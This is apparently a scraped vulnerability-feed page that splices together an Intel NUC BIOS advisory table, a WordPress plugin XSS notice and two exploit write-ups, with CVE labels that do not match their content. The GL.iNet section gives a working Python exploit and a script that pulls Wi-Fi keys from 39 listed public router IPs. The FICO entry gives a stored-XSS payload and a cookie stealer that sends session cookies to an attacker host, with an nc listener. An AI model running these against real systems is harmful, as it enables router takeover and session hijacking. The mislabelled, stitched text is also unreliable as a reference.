NUC12DCMi7, NUC12EDBi7, NUC12DCMi9, NUC12EDBi9

EDADL579.0056

CVE-2022-37327

**Intel® NUC Laptop Kit:**

LAPRC510, LAPRC710

RCADL357.0060

CVE-2022-37327

**Intel® NUC Pro Board, Intel® NUC Pro Kit:**

NUC12WSBi3, NUC12WSBi30Z, NUC12WSHi3, NUC12WSHi30L, NUC12WSHi30Z, NUC12WSKi3, NUC12WSKi30Z, NUC12WSBi5, NUC12WSBi50Z, NUC12WSHi5, NUC12WSHi50Z, NUC12WSKi5, NUC12WSKi50Z, NUC12WSBi70Z, NUC12WSHi7, NUC12WSHi70Z, NUC12WSKi7, NUC12WSKi70Z

WSADL357.0086

CVE-2022-37327

**Intel® NUC Laptop Kits**:

LAPAC71H, LAPAC71G

ACADL357.0059

CVE-2022-37327

**Intel® NUC Enthusiast:**

NUC12SNKi72, NUC12SNKi72VA

SNADL357.0056

CVE-2022-37327

**Intel® NUC Essential:**

NUC11ATBC4, NUC11ATKC2, NUC11ATKC2, NUC11ATKC4, NUC11ATKPE

ATJSLCPX.0038

CVE-2022-37327

**Intel® NUC Laptop Kit:**

LAPBC510, LAPBC710

BCTGL357.0078

CVE-2022-37327  
CVE-2023-22312  
CVE-2022-31477

**Intel® NUC Laptop Kit:** LAPKC51E, LAPKC71E  
LAPKC71F

KCTGL357.0044

CVE-2022-37327  
CVE-2023-22312  
CVE-2022-31477

**Intel® NUC Extreme Compute Element:**

NUC11BTMi7, NUC11DBBi7, NUC11BTMi9, NUC11DBBi9

DBTGL579.0065

CVE-2022-37327  
CVE-2023-22312  
CVE-2022-31477

**Intel® NUC Boards:**

NUC11TNBi3, NUC11TNBi30Z, NUC11TNHi3, NUC11TNHi30L, NUC11TNHi30P, NUC11TNHi30Z, NUC11TNKi3, NUC11TNKi30Z, NUC11TNBi5, NUC11TNBi50Z, NUC11TNHi5, NUC11TNHi50L, NUC11TNHi50W, NUC11TNHi50Z, NUC11TNKi5, NUC11TNKi50Z, NUC11TNBi7, NUC11TNBi70Z, NUC11TNHi7, NUC11TNHi70L, NUC11TNHi70Q, NUC11TNHi70Z, NUC11TNKi7, NUC11TNKi70Z

TNTGL357.0070

CVE-2022-37327  
CVE-2022-32582

**Intel® NUC**:

NUC11PHKi7C, NUC11PHKi7CAA

PHTGL579.0071

CVE-2022-37327  
CVE-2023-22312  
CVE-2022-31477

**Intel® NUC Pro Compute Element:**

NUC9V7QNB, NUC9V7QNX, NUC9VXQNB, NUC9VXQNX

QNCFLX70.0071

CVE-2022-37327  
CVE-2022-32582  
CVE-2023-25771

**Intel® NUC Rugged Kit:**

NUC8CCHB, NUC8CCHBN, NUC8CCHKRN, NUC8CCHKR

CHAPLCEL.0061

CVE-2022-37327  
CVE-2023-22312  
CVE-2022-28699

**Intel® NUC Mini PC, Intel® NUC Enthusiast, Intel® NUC Kit:**

NUC8i5BEHFA, NUC8i3BEHFA, NUC8i5BEKPA, NUC8i7BEHGA, NUC8i7BEKQA, NUC8i7BEH, NUC8i5BEK, NUC8i5BEH, NUC8i3BEK, NUC8i3BEH, NUC8i7BEK, NUC8i5BEHS, NUC8i3BEHS

BECFL357.0092

CVE-2023-25771

**Intel® NUC Business, Intel® NUC Enthusiast, Intel® NUC Kit:**

NUC8i7HNKQC, NUC8i7HVKVA, NUC8i7HVKVAW, NUC8i7HVK, NUC8i7HNK

HNKBKi70.0070

CVE-2023-25771  
CVE-2022-28699

**Intel® Compute Element:**

STK2mv64CC

CCSKLm5v.0067

CVE-2023-25771  
CVE-2022-28699  
CVE-2022-32766

**Intel® NUC 7 Essential, Intel® NUC Kit:**

NUC7CJYSAMN, NUC7CJYSAL, NUC7CJYHN, NUC7PJYHN, NUC7PJYH, NUC7CJYH

AYAPLCEL.0074

CVE-2023-25771  
CVE-2022-28699

**Intel® NUC Mini PC, Intel® NUC Kit, Intel® NUC Enthusiast, Intel® NUC Board:**

NUC7i5BNHXF, NUC7i3BNHXF, NUC7i5BNKP, NUC7i5BNHX1, NUC7i5BNH, NUC7i3BNK, NUC7i5BNK, NUC7i7BNH, NUC7i3BNH, NUC7i7BNHX1, NUC7i7BNHXG, NUC7i3BNHX1, NUC7i7BNKQ, NUC7i3BNB, NUC7i5BNB, NUC7i7BNB

BNKBL357.0089

CVE-2023-25771

**Intel® NUC Mini PC:**

NUC8i3CYSM, NUC8i3CYSN

CYCNLi35.0054

CVE-2023-25771

**Intel® NUC Kit, Intel® NUC Mini PC:**

NUC8i7INH, NUC8i5INH, NUC8i7INH, NUC8i5INH

INWHL357.0047

CVE-2023-25771  
CVE-2022-28699

**Intel® NUC Pro Kit, Intel® NUC Pro Board, Intel® NUC Pro Mini PC**:

NUC11TNKv50Z, NUC11TNHv70L, NUC11TNHv50L, NUC11TNKv5, NUC11TNKv7, NUC11TNHv5, NUC11TNHv7, NUC11TNBv7, NUC11TNBv5, NUC11TNKv5, NUC11TNKv7

TNTGLV57.0071

CVE-2023-22312  
CVE-2022-31477

**Intel® NUC 7 Essential, Intel® NUC Kit:**

NUC7CJYSAMN, NUC7CJYSAL, NUC7CJYHN, NUC7PJYHN, NUC7PJYH, NUC7CJYH

JYGLKCPX.0069

CVE-2023-25771  
CVE-2022-28699

**  
Recommendations:  
**

Intel recommends that users update to the latest version (see provided table).  
 

**Acknowledgements:**

Intel would like to thank Yngweijw (Jiawei Yin) for reporting these issues.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

05/09/2023

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-25771: INTEL-SA-00777

Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in WPMobile.App WPMobile.App — Android and iOS Mobile Application plugin <= 11.20 versions.

**Solution**

Update the WordPress WPMobile.App plugin to the latest available version (at least 11.21).

Juampa Rodríguez discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress WPMobile.App Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has been fixed in version 11.21.

**2 other known vulnerabilities for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-28932: WordPress WPMobile.App plugin <= 11.20 - Cross Site Scripting (XSS) vulnerability - Patchstack

An issue was discovered on GL.iNet devices before 3.216. An API endpoint reveals information about the Wi-Fi configuration, including the SSID and key.

**GL.iNET SSID Key Disclosure**

*   **CVSS Score** - 8.3, High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L)
*   **Overview** - An API endpoint for all GL.iNET devices reveals information about the WiFi configuration, including SSID and key. This endpoint can be accessed without any sort of authentication (although the 4.x firmware claims authentication is required). Affects versions <= 3.215. Example request and response below:

    POST /api/router/mesh/status HTTP/1.1
    Host: 192.168.8.1
    Content-Type: application/x-www-form-urlencoded
    Connection: close
    Content-Length: 4
    
    mac=
    
    HTTP/1.1 200 OK
    Content-Type: application/json
    Content-Length: 143
    Connection: close
    Date: Thu, 29 Dec 2022 21:51:13 GMT
    Server: lighttpd/1.4.48
    
    {"del":"0","led":"1","led_sync":"0","wifi_sync":"0","ssid":"GL-XE300-343","key":"goodlife","encryption":"psk2","version":"3.214","code":0}
    

*   **Description** - The endpoint /api/router/mesh/status is not listed in the front-end of the web GUI for all GL.iNET devices
*   **Steps to reproduce** - run the Proof of Concept in the **PoC** section below using python3 exploit.py <domain/IP>, such as python3 exploit.py 192.168.8.1. Information will be returned such as {'del': '0', 'led': '1', 'led_sync': '0', 'disabled': '2G', 'wifi_sync': '0', 'ssid': 'GL-XE300-343', 'key': 'goodlife', 'encryption': 'psk2', 'version': '3.215', 'code': 0}
*   **Impact**
    *   Since this exploit isn't very useful in default configurations for GL.iNET devices, a section on impact is needed. By default (on the device I've looked at), firewall rules block anything coming from the WAN side, meaning the only way to access the Web GUI is to already be on the LAN, which means the SSID key is already known.
    *   However, this exploit is still relevant in non-standard configurations, such as ones where access to the Web GUI is enabled without having to be on the LAN (such as opening up the WAN firewall). This may allow an attacker to connect to the internal LAN.
    *   In addition, the SSID key may be related to (or the same as) the admin password for the Web GUI. In this case, sending a simple request would give you admin access to the router.
    *   As an example of these scenarios, I've compiled a short list of publicly-available GL.iNET Web GUIs that don't require LAN access in the **Impact PoC** section. Note that a search on Shodan gives over 1000 results, but only 39 are included in the Python script. A majority of the IPs listed allow me to list the SSID key for their LAN. While I won't test for ethical reasons, there is a high chance that at least some of them are related to/the same as the admin password for the router.
    *   This means that there are at least **1300 vulnerable GL.iNET routers** available from anyone around the world, with many more in other scenarios.

**PoC**

import requests, sys
import warnings
warnings.filterwarnings("ignore")

\## Get arguments
if (len(sys.argv) < 2):
    print("Usage: python3 exploit.py <domain/IP>")
    sys.exit(1)

url \= sys.argv\[1\]

\## Send request
data \= "mac="
headers \= {'Content-Type': 'application/x-www-form-urlencoded'}
response \= requests.request("POST", "https://"+url+"/api/router/mesh/status", verify\=False, timeout\=4, data\=data, headers\=headers)

\## Check response
try:
    print(response.json())
except:
    print("\[-\] Machine not vulnerable, error was encountered")

**Impact PoC**

import requests, sys
import warnings
warnings.filterwarnings("ignore")

IPs \= \["108.90.205.128", "109.90.119.187", "162.118.7.19:8443", "166.153.75.58", "173.72.170.60", "174.101.235.57", "185.62.151.240", "188.192.44.98", "194.37.97.59", "213.47.44.62", "216.162.194.32", "217.160.53.88", "37.80.213.8", "46.160.245.44", "50.28.223.226", "5.249.24.230", "60.241.22.108", "62.112.81.5", "63.46.29.137", "67.205.142.193", "68.160.163.70", "69.216.97.59", "72.250.53.61", "72.250.55.133", "74.72.184.86", "76.141.243.253", "76.84.210.156", "79.246.120.55", "80.151.80.107", "84.133.182.125", "84.141.234.241", "84.182.144.144", "89.238.176.15", "92.6.13.152", "93.46.98.210:8443", "94.79.171.10", "98.207.137.184", "99.226.73.153", "99.228.41.240:8443"\]

for ip in IPs:
    \## Send request
    data \= "mac="
    headers \= {'Content-Type': 'application/x-www-form-urlencoded'}
    response \= requests.request("POST", "https://"+ip+"/api/router/mesh/status", verify\=False, timeout\=4, data\=data, headers\=headers)


    \## Check response
    try:
        print(response.json())
    except:
        print("\[-\] Machine not vulnerable, error was encountered")

CVE-2023-31478: CVE-issues/SSID_Key_Disclosure.md at main · gl-inet/CVE-issues

Multiple stored cross-site scripting (XSS) vulnerabilities in FICO Origination Manager Decision Module 4.8.1 allow attackers to execute arbitrary web scripts or HTML via a crafted payload.

    # Exploit Title: Stored-XSS in FICO Origination Manager Decision Module 4.8.1 Leads to Session Hijacking# Date: 2023-05-07# Exploit Author: Matei Josephs# Vendor Homepage: https://www.fico.com/# Version: FICO Origination Manager Decision Module 4.8.1# CVE : CVE-2023-30056, CVE-2023-30057Introduction=================Multiple stored cross-site scripting (XSS) vulnerabilities in FICO Origination Manager Decision Module 4.8.1 allow to execute code in the context of the victim's browser using a crafted payload. Additionally, an attacker with initial access to the application, can get the JSESSIONID cookie of another user and take over their session. These two findings can be chained together.Proof of Concept=================All description fields when adding Categories and Products, Product Strategies, Decision Flows, Data Object References, Data Methods, Data Method Sequences, Rulesets, Decision Tables, Decision Trees, Score Models, Scenarios, or Internal Services are vulnerable to a stored XSS using the following payload:   <img/src/onerror=prompt(document.cookie)>An attacker could implement a cookie stealer as follows:  On the attacker's machine:    nc -lvnp <PORT>  In one of the vulnerable description fields:    <img/src/onerror=fetch('http://<ATTACKER-IP>:<PORT>/'+document.cookie)>When a victim would visit the page where the payload was injected, the attacker would receive their JSESSIONID cookie. The attacker could then use the JSESSIONID cookie to log into the Origination Manager Decision Module as the victim.

Tag

#ios